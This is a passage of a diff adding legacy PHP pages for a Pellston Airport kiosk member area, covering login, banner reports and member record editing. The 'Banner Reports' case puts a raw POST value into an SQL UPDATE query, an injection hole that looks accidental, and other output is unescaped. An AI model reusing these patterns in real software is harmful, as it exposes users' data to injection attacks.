+ * generic all purpose switch statement
+echo '<pre>';
+print_r($DB);
+print_r($this);
+echo '</pre>';
+ */
+$DB =& $this->DB;
+$Action = ( $_POST['Action'] ) ? $_POST['Action'] : $_GET['Action'];
+$query = "select hits from member where ";
+switch( $Action )
+{
+ // Member Verify
+ case 'Verify':
+ $d = check_login( $session_code,&$DB );
+ // We get here if member successfully logs in
+ $id = $d["id"];
+ $session_code = $d["session_code"];
+ display_links( $d, $session_code );
+ break;
+
+ // Member Login
+ case 'Login':
+ // Check to make sure the user was refered from a form on this site and check for a valid login
+ if( !($d = admin_user_login( "login", CONN_STR, "", "member", "user_id", "user_pw", $_POST['user_id'], $_POST['password'], "",&$DB ) ) )
+ {
+ echo '
+ <div style="width:50%;margin:0 auto;color:red;font-size:16px;">Sorry, your user ID and password don\'t match any existing member.</div>
+ ';
+ display_login_form();
+ }
+ else
+ {
+ // We get here if member successfully logs in
+ $id = $d["id"];
+ $session_code = $d["session_code"];
+ display_links( $d, $session_code );
+ }
+ break;
+
+ case 'Banner Reports':
+ /*
+echo '<pre>';
+print_r( $_POST );
+print_r( $_GET );
+echo '</pre>';
+*/
+ $d = check_login( $session_code,&$DB );
+ $id = $d["id"];
+ if( $_POST['report_period'] )
+ {
+ $query = "update member set mail_report = '".(($_POST['mail_report'] == 't')?'t':'f')."',report_period = '".$_POST['report_period']."' where id = $id;";
+ $DB->db_exec( $query );
+ $d["report_period"] = $_POST['report_period'];
+ }
+ $session_code = $d["session_code"];
+ display_links( $d, $session_code );
+
+ $base_array = array('monthly'=>'Monthly','weekly'=>'Weekly','daily'=>'Daily');
+ $out .= '<form action="'.BASE_URL.'members-'.MEMBERS_CATEGORY.'/" method="post">
+ <input type="hidden" name="session_code" value="'.$session_code.'">
+ <input type="hidden" name="Action" value="Banner Reports">
+
+ <fieldset>
+ <legend>Reports By E-mail</legend>
+ <label for="mail_report">
+ <input type="checkbox" id="mail_report" name="mail_report" value="t" '.(($d["mail_report"]=='t')?'checked':'').'">
+ Yes, Send this page as an email to me on a periodic bases.
+ </label>
+ '.build_picklist('report_period',$base_array,$d["report_period"] ).'
+ <input type="submit" value="Update">
+ <p>Your report can be sent to your email address. Monthly report are sent out on the 1st of every month, Weekly report are done on Sundays, and daily reports are sent out between 3 - 4 am every day.</p>
+ </fieldset>
+ </form>';
+ $out .= '<table id="hit-report">';
+ $out .= '
+ <tr>
+ <td colspan="2">Break down of Member record views:</td>
+ </tr>
+ <tr>
+ <th>Website:</th>
+ <th>Kiosk:</th>
+ </tr>
+ <tr>
+ <td>'.$d['hits'].'</td>
+ <td>'.$d['kiosk_hits'].'</td>
+ </tr>
+ </table>';
+ $query = "set datestyle to 'us,sql';select * from banner where member_id = ".$id."order by id";;
+ if( $bData = $DB->db_auto_get_data( $query ) )
+ {
+ $out .= '<table id="banner-report">';
+ $out .= '
+ <tr>
+ <td colspan="4" style="border:none;font-weight:bold;text-align:center;">Banner Reports</td>
+ <td colspan="2" class="web group-head">Website</td>
+ <td colspan="2" class="kiosk group-head">Kiosk</td>
+ </tr>
+ <tr>
+ <th>Image:</th>
+ <th>URL:</th>
+ <th>Start</th>
+ <th>End</th>
+ <th>Imp</th>
+ <th>Click</th>
+ <th>Imp</th>
+ <th>Click</th>
+ </tr>
+ ';
+ foreach( $bData as $bRow )
+ {
+ $image = ( $bRow['image'] ) ? '<img src="'.THUMB.$bRow['image'].'">': '';
+ $web_imp = ( $bRow['impressions'] < $bRow['clicks'] ) ? $bRow['clicks']: $bRow['impressions'];
+ $kiosk_imp = ( $bRow['imp_kiosk'] < $bRow['click_kiosk'] ) ? $bRow['click_kiosk']: $bRow['imp_kiosk'];
+ $out .= '<tr>
+ <td>'.$image.'</td>
+ <td>'.substr($bRow["url"],0,20).'...</td>
+ <td>'.$bRow["sdate"].'</td>
+ <td>'.$bRow["edate"].'</td>
+ <td class="web">'.$web_imp.'</td>
+ <td class="web">'.$bRow["clicks"].'</td>
+ <td class="kiosk">'.$kiosk_imp.'</td>
+ <td class="kiosk">'.$bRow["click_kiosk"].'</td>
+ </tr>';
+ }
+ $out .= '</table>';
+ }
+ echo $out;
+ break;
+
+ default:
+ echo '<style type="text/css">
+ #category {display:none;}
+ .listing {display:none;}
+ </style>';
+ display_login_form();
+ break;
+}
+?>
--- /dev/null
+<?php
+//
+// Reservation System
+// Copyright (c) 2002 by Gaslight Media Inc.
+//
+// Member Interface
+//
+// FILE: action.phtml
+//
+
+// Get Siteinfo Data
+/*
+ echo '<pre>';
+ print_r($_POST);
+ print_r($_GET);
+ echo '</pre>';
+ */
+ob_start();
+
+include( "../siteinfo.inc" );
+include( BASE_PATH."/functions.inc" );
+echo '
+<HTML>
+<HEAD>
+<TITLE>Pellston Kiosk Members Only</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" href="main.css">
+<META NAME="Author" CONTENT="Gaslight Media">
+</HEAD>
+<BODY BGCOLOR="#ffffff" LINK="#000080" VLINK="#000080" ALINK="#000080">
+';
+
+// Member Login
+if( $Option == "Login" )
+{
+ if( !($data = admin_user_login( "login", CONN_STR, "", "member", "user_id", "user_pw", $_POST['user_id'], $_POST['password'] ) ) )
+ {
+ header('Location: index.phtml?failed=true');
+ exit();
+ echo '<CENTER>
+ <FONT SIZE="4" COLOR="red">Sorry, your user ID and password don\'t match any existing member.<P></FONT>
+ <A HREF="'.THIS_SCRIPT.'">Try again.</A>
+ </CENTER>
+ </BODY>
+ </HTML>
+ ';
+ exit;
+ }
+ else
+ {
+ $id = $data["id"];
+ $session_code = $data["session_code"];
+ }
+
+ // We get here if member successfully logs in
+
+ echo '<CENTER>
+ <FONT SIZE="4">Welcome '.$data["name"].'</FONT><P>';
+
+ // Get St. Ignace message
+ echo "<BR><BLOCKQUOTE>";
+ // echo "Need help using the site, please contact the St.Ignace Visitors Bureau at 643-6950. ";
+ echo "</BLOCKQUOTE><P>";
+ include("member_nav.inc");
+ define('BASE',BASE_PATH.'/');
+ define('URL_BASE',BASE_URL.'/');
+ define('RESIZED',BASE_URL.'/images/resized/');
+// require('../classes/class_template.inc');
+ //$catid = 99;
+// $newtoolbox =& new GLM_TEMPLATE( 99 );
+// $newtoolbox->template_parser();
+
+ echo '
+ </center>
+ </body>
+ </html>
+ ';
+ exit;
+}
+
+if($Option == "File Upload")
+{
+ if(!$d = admin_user_login( "verify", CONN_STR, $session_code, "member", "user_id", "user_pw" ))
+ {
+ echo "help";
+ }
+ echo '<center>
+ <font size="4">Welcome '.$d["name"].'</font><p>';
+ echo "<br><blockquote>";
+ echo "Need help using the site, please email kiosk@gaslightmedia.com or call 231-487-0692. ";
+ echo "</blockquote><p>";
+
+ include("member_nav.inc");
+
+ echo '
+ </center>
+ </body>
+ </html>
+ ';
+ exit;
+
+}
+
+if( $Option == "Continue" )
+{
+
+ // $session_code = $data["session_code"];
+ echo '<CENTER>
+ <P>';
+
+ // Get St. Ignace message
+ $conn = pg_Connect(CONN_STR);
+ $res = pg_exec($conn, "SELECT * FROM templates WHERE tempid = 2;");
+ $msg = pg_fetch_array($res,0);
+ echo $msg["header1"];
+ echo "<BR><BLOCKQUOTE>";
+ echo $msg["description1"];
+ echo "</BLOCKQUOTE><P>";
+
+ $id = $data["id"];
+
+ include("member_nav.inc");
+
+ echo '
+ </CENTER>
+ </BODY>
+ </HTML>
+ ';
+ exit;
+}
+
+
+// Check user login status
+
+if( !($d = admin_user_login( "verify", CONN_STR, $session_code, "member", "user_id", "user_pw" ) ) )
+{
+ header("Location: index.phtml");
+ exit();
+ echo '
+ <HTML>
+ <HEAD>
+ <TITLE></TITLE>
+ <META NAME="Author" CONTENT="Gaslight Media">
+ </HEAD>
+ <BODY BGCOLOR="#ffffff" LINK="#000080" VLINK="#000080" ALINK="#000080">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR>
+ <TD ALIGN="center">
+ <FONT SIZE=2 FACE="ms sans serif">
+ <P>
+ <B>Welcome To The '.SI_CUSTOMER_NAME.' Member Area</B>
+ </FONT>
+ <P>
+ <IMG SRC="'.BASE_URL.'/assets/logo.gif">
+ </FONT>
+ <P>
+ User Login
+ <P>
+ <FORM ACTION="'.THIS_SCRIPT.'">
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="right">User ID</TH><TD><INPUT TYPE="text" NAME="user_id"></TD></TR>
+ <TR><TH ALIGN="right">Password</TH><TD><INPUT TYPE="password" NAME="password"></TD></TR>
+ <TR><TD COLSPAN="2" ALIGN="center">
+ <INPUT TYPE="hidden" NAME="Action" VALUE="Member">
+ <INPUT TYPE="submit" NAME="Option" VALUE="Login">
+ </TD></TR>
+ </TABLE>
+ </FORM>
+ </TD>
+ </TR>
+ </TABLE>
+ </BODY>
+ </HTML>
+ ';
+
+ exit;
+}
+
+$session_code = $d["session_code"];
+$member = $d["id"];
+
+echo ' <CENTER>
+ <FONT SIZE="4"><B>Pellston Airport Kiosk Member:</B></FONT> <FONT SIZE="4" COLOR="BLUE"><B>'.$d["name"].'</B></FONT><BR>
+';
+
+// Display top level navigation
+
+//echo '[Member Information] ';
+
+// Determine if member can do reservations
+
+$x = db_auto_get_row( "SELECT accommodations FROM memb_type WHERE id = ".$d["memb_type"].";", 0, CONN_STR, FALSE );
+if( $x["accommodations"] == "t" && ($d["reservations"]=="t" || $d["packages"]=="t") )
+echo '<A HREF="reservation_action.phtml?Action=Accommodation&Option=List'
+.$d["session_link"].'&member_name='.$member.'">[Accommodations & Reservations]</A> ';
+else
+//echo '[Accommodations & Reservations] ';
+
+// Determine if member can do tickets
+
+if( $d["sells_tickets"] == "t" )
+echo '<A HREF="ticket_action.phtml?Action=Tickets&Option=List'.$d["session_link"].'&member_name='.$member.'">[Ticket Sales]</A> ';
+else
+//echo '[Ticket Sales] ';
+
+// Determine if member can do packages
+
+if( $d["packages"] == "t" )
+echo '<A HREF="package_action.phtml?Action=Unconfirmed&Option=List'.$d["session_link"].'&member_name='.$member.'">[Package Accommodation Requests]</A> ';
+else
+//echo '[Package Accommodation Requests] ';
+
+// Determine if member does tour packages
+/*
+ if( $d["tour"] == "t" )
+ echo '<A
+ HREF="tour_action.phtml?Action=Tour&Option=View'.$d["session_link"].'&member_name='.$member.'">[Motor Coach Friendly]</A> ';
+ else
+ echo '[Motor Coach Friendly] ';
+ */
+
+echo "<BR>";
+
+switch( $Action )
+{
+
+ // Manage Member Information
+
+ case "Member":
+
+ echo "<B>Member Information: </B>";
+ echo '<A HREF="'.SI_BASE_URL.'/members-1000/Action=Verify'.$d["session_link"].'">[Member Only Area]</A> ';
+
+ if( $Option == "View" )
+ echo '[View Active] ';
+ else
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member&Option=View'
+ .$d["session_link"].'">[View Active]</A> ';
+
+ if( $Option == "Edit" )
+ echo '[Edit] ';
+ else
+ echo '<A HREF="'.THIS_SCRIPT.'?Action=Member&Option=Edit&member='.$d["id"]
+ .$d["session_link"].'">[Edit]</A> ';
+
+ switch( $Option )
+ {
+
+ case "Edit": // Edit member
+
+ // If no pending data, copy all current data into pending data fields
+
+ /*
+ if( empty($d["p_address"]) )
+ {
+ // First make sure that all boolean values are good
+
+ if( $d["restnear"] == '' ) $d['restnear'] = 'f';
+ if( $d["restaurant"] == '' ) $d['restaurant'] = 'f';
+ if( $d["breakfast"] == '' ) $d['breakfast'] = 'f';
+ if( $d["indoor_pool"] == '' ) $d['indoor_pool'] = 'f';
+ if( $d["outdoor_pool"] == '' ) $d['outdoor_pool'] = 'f';
+ if( $d["whirlpool"] == '' ) $d['whirlpool'] = 'f';
+ if( $d["exercise"] == '' ) $d['exercise'] = 'f';
+ if( $d["waterfront"] == '' ) $d['waterfront'] = 'f';
+ if( $d["conference"] == '' ) $d['conference'] = 'f';
+ if( $d["meeting"] == '' ) $d['meeting'] = 'f';
+ if( $d["tv"] == '' ) $d['tv'] = 'f';
+ if( $d["cable"] == '' ) $d['cable'] = 'f';
+ if( $d["sauna"] == '' ) $d['sauna'] = 'f';
+ if( $d["movies"] == '' ) $d['movies'] = 'f';
+ if( $d["pets"] == '' ) $d['pets'] = 'f';
+ if( $d["barrierfree"] == '' ) $d['barrierfree'] = 'f';
+ if( $d["beachaccess"] == '' ) $d['beachaccess'] = 'f';
+ if( $d["eff"] == '' ) $d['eff'] = 'f';
+ if( $d["smokefree"] == '' ) $d['smokefree'] = 'f';
+
+ db_auto_exec( "UPDATE member
+ SET p_address = '".addslashes($d["address"])."',
+ p_city = '".addslashes($d["city"])."',
+ p_state = '".addslashes($d["state"])."',
+ p_zip = '".addslashes($d["zip"])."',
+ p_country = '".addslashes($d["country"])."',
+ p_phone = '".addslashes($d["phone"])."',
+ p_toll_free = '".addslashes($d["toll_free"])."',
+ p_kiosk_phone = '".addslashes($d["kiosk_phone"])."',
+ p_fax = '".addslashes($d["fax"])."',
+ p_email = '".addslashes($d["email"])."',
+ p_proc_email = '".addslashes($d["proc_email"])."',
+ p_numrooms = '".addslashes($d["num_rooms"])."',
+ p_url = '".addslashes($d["url"])."',
+ p_descr = '".addslashes($d["descr"])."',
+ p_image1 = '".duplicate_image($d["image1"])."',
+ p_image_text1 = '".addslashes($d["image_text1"])."',
+ p_image2 = '".duplicate_image($d["image2"])."',
+ p_image_text2 = '".addslashes($d["image_text2"])."',
+ p_image3 = '".duplicate_image($d["image3"])."',
+ p_image_text3 = '".addslashes($d["image_text3"])."',
+ p_restnear = '".$d["restnear"]."',
+ p_restaurant = '".$d["restaurant"]."',
+ p_breakfast = '".$d["breakfast"]."',
+ p_indoor_pool = '".$d["indoor_pool"]."',
+ p_outdoor_pool = '".$d["outdoor_pool"]."',
+ p_whirlpool = '".$d["whirlpool"]."',
+ p_exercise = '".$d["exercise"]."',
+ p_waterfront = '".$d["waterfront"]."',
+ p_conference = '".$d["conference"]."',
+ p_meeting = '".$d["meeting"]."',
+ p_tv = '".$d["tv"]."',
+ p_cable = '".$d["cable"]."',
+ p_sauna = '".$d["sauna"]."',
+ p_movies = '".$d["movies"]."',
+ p_pets = '".$d["pets"]."',
+ p_barrierfree = '".$d["barrierfree"]."',
+ p_beachaccess = '".$d["beachaccess"]."',
+ p_eff = '".$d["eff"]."',
+ p_smokefree = '".$d["smokefree"]."',
+ p_credit_cards = ".($d["credit_cards"]+0)."
+ WHERE id = ".$d["id"].";",
+ CONN_STR, FALSE );
+ }
+ */
+
+ // Now edit pending data
+
+ admin_edit_record
+ (
+ "member",
+ CONN_STR,
+ $d["id"],
+ "name, text.40, Member Name, DISPLAY|"
+ ."memb_type, pointer.memb_type.name, Member Type, DISPLAY|"
+ ."address, text.50, Address, TRUE|"
+ ."city, text.50, City, TRUE|"
+ ."state, list.".$si_states_list.", State, TRUE|"
+ ."zip, text.15, ZIP Code, TRUE|"
+ ."country, list.".$si_countries_list.", Country, TRUE|"
+ ."phone, text.20, Phone #, TRUE|"
+ ."toll_free, text.20, Toll Free #, FALSE|"
+ ."kiosk_phone, text.20, Phone # for Kiosk, FALSE|"
+ ."fax, text.20, FAX #, FALSE|"
+ ."email, text.50, Contact E-Mail Address, FALSE|"
+ ."proc_email, text.50, Processing E-Mail Address, FALSE|"
+ ."url, text.50, Web Site URL, FALSE|"
+ // ."descr, textbox.40.5, Description, FALSE|"
+ // ." break.<HR>, , FALSE|"
+ ."image1, image, Image #1, FALSE|"
+ ."image_text1, textbox.40.2, Image #1 Text, FALSE|"
+ // ." break.<HR>, , FALSE|"
+ ."image2, image, Image #2, FALSE|"
+ ."image_text2, textbox.40.2, Image #2 Text, FALSE|"
+ // ." break.<HR>, , FALSE|"
+ ."image3, image, Image #3, FALSE|"
+ ."image_text3, textbox.40.2, Image #3 Text, FALSE|"
+ // ." break.<HR>, , FALSE|"
+ ."restnear, checkbox, Restaurant Nearby, FALSE|"
+ ."restaurant, checkbox, Restaurant on site, FALSE|"
+ ."breakfast, checkbox, Breakfast available, FALSE|"
+ ."indoor_pool, checkbox, Indoor Pool, FALSE|"
+ ."outdoor_pool, checkbox, Outdoor Pool, FALSE|"
+ ."whirlpool, checkbox, Whirlpool, FALSE|"
+ ."exercise, checkbox, Exercise Room, FALSE|"
+ ."waterfront, checkbox, Waterfront Location, FALSE|"
+ ."conference, checkbox, Conference Facilities, FALSE|"
+ ."meeting, checkbox, Meeting Facilities, FALSE|"
+ ."tv, checkbox, TV, FALSE|"
+ ."cable, checkbox, Cable, FALSE|"
+ ."sauna, checkbox, In Room Spa, FALSE|"
+ ."movies, checkbox, Movies, FALSE|"
+ ."pets, checkbox, Pets, FALSE|"
+ ."barrierfree, checkbox, Barrier Free, FALSE|"
+ ."beachaccess, checkbox, Sandy Beach Access, FALSE|"
+ ."eff, checkbox, Efficiencies, FALSE|"
+ ."smokefree, checkbox, Smoke Free Rooms, FALSE|"
+ ."credit_cards, bitmap.Visa~Mastercard~Discover~American Express~Diner's Club,
+ Credit Cards Accepted, FALSE",
+ THIS_SCRIPT,
+ "Member",
+ "session_code.$session_code",
+ '<P><H3>Edit Member Information</H3>
+ <P>
+ <!--
+ <TABLE BORDER="1" WIDTH="60%"><TR><TD>
+ <B>Note:</B>Selecting the "Update" button at the bottom of this form will submit any changes you make to the Pellston Airport for approval. This will not immediately change your Active Member Information. You will be notified by E-Mail when your changes are approved.
+ </TD></TR></TABLE>
+ -->
+ <P>
+ <TABLE BORDER="1" WIDTH="60%"><TR><TD ALIGN="left">
+ <B>Picture for Listing:</B>
+ You may upload an image which will be displayed on the Detailed output for
+ the Listing. To upload an image, click the "Browse" button, and then select
+ the image from your personal computer files that you wish to display. For
+ the image to be displayed properly, it must be either a "GIF" or "JPEG"
+ formatted image. Generally, these are saved as filename.gif or filename.jpg.
+ If you receive an error message while trying to upload an image, the most
+ common error is that the image is neither a JPEG nor a GIF. Also note that
+ simply renaming the file from filename.foo to filename.gif will not reformat
+ the image as a GIF. When you save your GIF or JPEG image, compress it to a
+ minimum of 20k file size to ensure faster download time for the visitor
+ reviewing your listing. If your image is greater than 210 pixels wide, they will
+ be reduced to that width.
+ </TD></TR></TABLE>
+ <P>
+ '
+ );
+ /*
+ admin_edit_record
+ (
+ "member",
+ CONN_STR,
+ $d["id"],
+ "name, text.40, Member Name, DISPLAY|"
+ ."memb_type, pointer.memb_type.name, Member Type, DISPLAY|"
+ ."p_address, text.50, Address, TRUE|"
+ ."p_city, text.50, City, TRUE|"
+ ."p_state, list.".$si_states_list.", State, TRUE|"
+ ."p_zip, text.15, ZIP Code, TRUE|"
+ ."p_country, list.".$si_countries_list.", Country, TRUE|"
+ ."p_phone, text.20, Phone #, TRUE|"
+ ."p_toll_free, text.20, Toll Free #, FALSE|"
+ ."p_kiosk_phone, text.20, Phone # for Kiosk, FALSE|"
+ ."p_fax, text.20, FAX #, FALSE|"
+ ."p_email, text.50, Contact E-Mail Address, FALSE|"
+ ."p_proc_email, text.50, Processing E-Mail Address, FALSE|"
+ ."p_url, text.50, Web Site URL, FALSE|"
+ ."p_descr, textbox.40.5, Description, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."p_image1, image, Image #1, FALSE|"
+ ."p_image_text1, textbox.40.2, Image #1 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."p_image2, image, Image #2, FALSE|"
+ ."p_image_text2, textbox.40.2, Image #2 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."p_image3, image, Image #3, FALSE|"
+ ."p_image_text3, textbox.40.2, Image #3 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."p_restnear, checkbox, Restaurant Nearby, FALSE|"
+ ."p_restaurant, checkbox, Restaurant on site, FALSE|"
+ ."p_breakfast, checkbox, Breakfast available, FALSE|"
+ ."p_indoor_pool, checkbox, Indoor Pool, FALSE|"
+ ."p_outdoor_pool, checkbox, Outdoor Pool, FALSE|"
+ ."p_whirlpool, checkbox, Whirlpool, FALSE|"
+ ."p_exercise, checkbox, Exercise Room, FALSE|"
+ ."p_waterfront, checkbox, Waterfront Location, FALSE|"
+ ."p_conference, checkbox, Conference Facilities, FALSE|"
+ ."p_meeting, checkbox, Meeting Facilities, FALSE|"
+ ."p_tv, checkbox, TV, FALSE|"
+ ."p_cable, checkbox, Cable, FALSE|"
+ ."p_sauna, checkbox, In Room Spa, FALSE|"
+ ."p_movies, checkbox, Movies, FALSE|"
+ ."p_pets, checkbox, Pets, FALSE|"
+ ."p_barrierfree, checkbox, Barrier Free, FALSE|"
+ ."p_beachaccess, checkbox, Sandy Beach Access, FALSE|"
+ ."p_eff, checkbox, Efficiencies, FALSE|"
+ ."p_smokefree, checkbox, Smoke Free Rooms, FALSE|"
+ ."p_credit_cards, bitmap.Visa~Mastercard~Discover~American Express~Diner's Club,
+ Credit Cards Accepted, FALSE",
+ THIS_SCRIPT,
+ "Member",
+ "session_code.$session_code",
+ '<P><H3>Edit Member Information</H3>
+ <P>
+ <TABLE BORDER="1" WIDTH="60%"><TR><TD>
+ <B>Note:</B>Selecting the "Update" button at the bottom of this form will submit any changes you make to the Pellston Airport for approval. This will not immediately change your Active Member Information. You will be notified by E-Mail when your changes are approved.
+ </TD></TR></TABLE>
+ <P>
+ <TABLE BORDER="1" WIDTH="60%"><TR><TD ALIGN="left">
+ <B>Picture for Listing:</B>
+ You may upload an image which will be displayed on the Detailed output for
+ the Listing. To upload an image, click the "Browse" button, and then select
+ the image from your personal computer files that you wish to display. For
+ the image to be displayed properly, it must be either a "GIF" or "JPEG"
+ formatted image. Generally, these are saved as filename.gif or filename.jpg.
+ If you receive an error message while trying to upload an image, the most
+ common error is that the image is neither a JPEG nor a GIF. Also note that
+ simply renaming the file from filename.foo to filename.gif will not reformat
+ the image as a GIF. When you save your GIF or JPEG image, compress it to a
+ minimum of 20k file size to ensure faster download time for the visitor
+ reviewing your listing. If your image is greater than 210 pixels wide, they will
+ be reduced to that width.
+ </TD></TR></TABLE>
+ <P>
+ '
+ );
+ */
+
+ break;
+
+ case "Update": // Update member
+
+ admin_update_record
+ (
+ "member",
+ CONN_STR,
+ $d["id"],
+ "address, text, Address, TRUE, address|"
+ ."city, text, City, TRUE, city|"
+ ."state, text, State, TRUE, state|"
+ ."zip, text, ZIP Code, TRUE, zip|"
+ ."country, text, Country, TRUE, country|"
+ ."phone, text, Phone #, TRUE, phone|"
+ ."toll_free, text, Toll Free #, FALSE, toll_free|"
+ ."kiosk_phone, text, Phone # for Kiosk, FALSE, kiosk_phone|"
+ ."fax, text, FAX #, FALSE, fax|"
+ ."email, text, Contact E-Mail Address, FALSE, email|"
+ ."proc_email, text, Processing E-Mail Address, FALSE, proc_email|"
+ ."url, text, Web Site URL, FALSE, url|"
+ // ."descr, text, Description, FALSE, descr|"
+ ."image1, image, Image #1, FALSE, image1|"
+ ."image_text1, text, Image #1 Text, FALSE, image_text1|"
+ ."image2, image, Image #2, FALSE, image2|"
+ ."image_text2, text, Image #2 Text, FALSE, image_text2|"
+ ."image3, image, Image #3, FALSE, image3|"
+ ."image_text3, text, Image #3 Text, FALSE, image_text3|"
+ ."restnear, checkbox, Restaurant Nearby, FALSE, restnear|"
+ ."restaurant, checkbox, Restaurant on site, FALSE, restaurant|"
+ ."breakfast, checkbox, Breakfast available, FALSE, breakfast|"
+ ."indoor_pool, checkbox, Indoor Pool, FALSE, indoor_pool|"
+ ."outdoor_pool, checkbox, Outdoor Pool, FALSE, outdoor_pool|"
+ ."whirlpool, checkbox, Whirlpool, FALSE, whirlpool|"
+ ."exercise, checkbox, Exercise Room, FALSE, exercise|"
+ ."waterfront, checkbox, Waterfront Location, FALSE, waterfront|"
+ ."conference, checkbox, Conference Facilities, FALSE, conference|"
+ ."meeting, checkbox, Meeting Facilities, FALSE, meeting|"
+ ."tv, checkbox, TV, FALSE, tv|"
+ ."cable, checkbox, Cable, FALSE, cable|"
+ ."sauna, checkbox, In Room Spa, FALSE, sauna|"
+ ."movies, checkbox, Movies, FALSE, movies|"
+ ."pets, checkbox, Pets Accepted, FALSE, pets|"
+ ."barrierfree, checkbox, Barrier Free, FALSE, barrierfree|"
+ ."beachaccess, checkbox, Sandy Beach Access, FALSE, beachaccess|"
+ ."eff, checkbox, Efficiencies, FALSE, eff|"
+ ."smokefree, checkbox, Smoke Free Rooms, FALSE, smokefree|"
+ ."credit_cards, bitmap, Credit Cards Accepted, FALSE, credit_cards",
+ THIS_SCRIPT,
+ "Member",
+ "session_code.$session_code",
+ '<P><H3>Edited Member Submitted</H3><BR>
+ '
+ );
+ /*
+ admin_update_record
+ (
+ "member",
+ CONN_STR,
+ $d["id"],
+ "p_address, text, Address, TRUE, p_address|"
+ ."p_city, text, City, TRUE, p_city|"
+ ."p_state, text, State, TRUE, p_state|"
+ ."p_zip, text, ZIP Code, TRUE, p_zip|"
+ ."p_country, text, Country, TRUE, p_country|"
+ ."p_phone, text, Phone #, TRUE, p_phone|"
+ ."p_toll_free, text, Toll Free #, FALSE, p_toll_free|"
+ ."p_kiosk_phone, text, Phone # for Kiosk, FALSE, p_kiosk_phone|"
+ ."p_fax, text, FAX #, FALSE, p_fax|"
+ ."p_email, text, Contact E-Mail Address, FALSE, p_email|"
+ ."p_proc_email, text, Processing E-Mail Address, FALSE, p_proc_email|"
+ ."p_url, text, Web Site URL, FALSE, p_url|"
+ ."p_descr, text, Description, FALSE, p_descr|"
+ ."p_image1, image, Image #1, FALSE, p_image1|"
+ ."p_image_text1, text, Image #1 Text, FALSE, p_image_text1|"
+ ."p_image2, image, Image #2, FALSE, p_image2|"
+ ."p_image_text2, text, Image #2 Text, FALSE, p_image_text2|"
+ ."p_image3, image, Image #3, FALSE, p_image3|"
+ ."p_image_text3, text, Image #3 Text, FALSE, p_image_text3|"
+ ."p_restnear, checkbox, Restaurant Nearby, FALSE, p_restnear|"
+ ."p_restaurant, checkbox, Restaurant on site, FALSE, p_restaurant|"
+ ."p_breakfast, checkbox, Breakfast available, FALSE, p_breakfast|"
+ ."p_indoor_pool, checkbox, Indoor Pool, FALSE, p_indoor_pool|"
+ ."p_outdoor_pool, checkbox, Outdoor Pool, FALSE, p_outdoor_pool|"
+ ."p_whirlpool, checkbox, Whirlpool, FALSE, p_whirlpool|"
+ ."p_exercise, checkbox, Exercise Room, FALSE, p_exercise|"
+ ."p_waterfront, checkbox, Waterfront Location, FALSE, p_waterfront|"
+ ."p_conference, checkbox, Conference Facilities, FALSE, p_conference|"
+ ."p_meeting, checkbox, Meeting Facilities, FALSE, p_meeting|"
+ ."p_tv, checkbox, TV, FALSE, p_tv|"
+ ."p_cable, checkbox, Cable, FALSE, p_cable|"
+ ."p_sauna, checkbox, In Room Spa, FALSE, p_sauna|"
+ ."p_movies, checkbox, Movies, FALSE, p_movies|"
+ ."p_pets, checkbox, Pets Accepted, FALSE, p_pets|"
+ ."p_barrierfree, checkbox, Barrier Free, FALSE, p_barrierfree|"
+ ."p_beachaccess, checkbox, Sandy Beach Access, FALSE, p_beachaccess|"
+ ."p_eff, checkbox, Efficiencies, FALSE, p_eff|"
+ ."p_smokefree, checkbox, Smoke Free Rooms, FALSE, p_smokefree|"
+ ."p_credit_cards, bitmap, Credit Cards Accepted, FALSE, p_credit_cards",
+ THIS_SCRIPT,
+ "Member",
+ "session_code.$session_code",
+ '<P><H3>Edited Member Submitted</H3><BR>
+ '
+ );
+ */
+ //db_auto_exec( "UPDATE member
+ // SET pending = 't'
+ // WHERE id = ".$d["id"].";",
+ // CONN_STR, FALSE );
+ mail( CUSTOMER_EMAIL, "Member data update notice",
+ "\n"
+ ."A Pellston Kiosk member edited their member information\n\n"
+ ."Member name: ".$d["name"]
+ ."\n\n"
+ ."Use Pellston Kiosk on-line Admistration Area to approve update.\n" );
+
+ break;
+
+
+ case "View": // View member
+
+ admin_view_record
+ (
+
+ "member",
+ CONN_STR,
+ $d["id"],
+ "id, int, Record ID|"
+ ."name, text, Member Name|"
+ ."memb_type, pointer.memb_type.name, Member Type|"
+ ."address, text, Address|"
+ ."city, text, City|"
+ ."state, list.".$states_list.", State|"
+ ."zip, text, ZIP Code|"
+ ."country, list.".$countries_list.", Country|"
+ ."phone, text, Phone #|"
+ ."toll_free, text, Toll Free #|"
+ ."kiosk_phone, text, Phone # for Kiosk|"
+ ."fax, text, FAX #|"
+ ."email, text, Contact E-Mail Address|"
+ ."proc_email, text, Processing E-Mail Address|"
+ ."url, text, Web Site URL|"
+ ."descr, text, Description|"
+ ."image1, image.t, Image #1|"
+ ."image_text1, text, Image #1 Text|"
+ ."image2, image.t, Image #2|"
+ ."image_text2, text, Image #2 Text|"
+ ."image3, image.t, Image #3|"
+ ."image_text3, text, Image #3 Text|"
+ ."restnear, checkbox, Restaurant Nearby|"
+ ."restaurant, checkbox, Restaurant on site|"
+ ."breakfast, checkbox, Breakfast available|"
+ ."indoor_pool, checkbox, Indoor Pool|"
+ ."outdoor_pool, checkbox, Outdoor Pool|"
+ ."whirlpool, checkbox, Whirlpool|"
+ ."exercise, checkbox, Exercise Room|"
+ ."waterfront, checkbox, Waterfront Location|"
+ ."conference, checkbox, Conference Facilities|"
+ ."meeting, checkbox, Meeting Facilities|"
+ ."tv, checkbox, TV|"
+ ."cable, checkbox, Cable available|"
+ ."sauna, checkbox, In Room Spa|"
+ ."movies, checkbox, Movies|"
+ ."pets, checkbox, Pets Accepted|"
+ ."barrierfree, checkbox, Barrier Free|"
+ ."beachaccess, checkbox, Sandy Beach Access|"
+ ."eff, checkbox, Efficiencies|"
+ ."smokefree, checkbox, Smoke Free Rooms|"
+ ."credit_cards, bitmap.Visa~Mastercard~Discover~American Express~Diner's Club,
+ Credit Cards Accepted",
+ THIS_SCRIPT,
+ "Member",
+ "session_code.$session_code",
+ "",
+ ' <P>
+ <H3>Active Member Information</H3>
+ <BR>
+ <div>This record has been viewed {hits} time(s)</div>
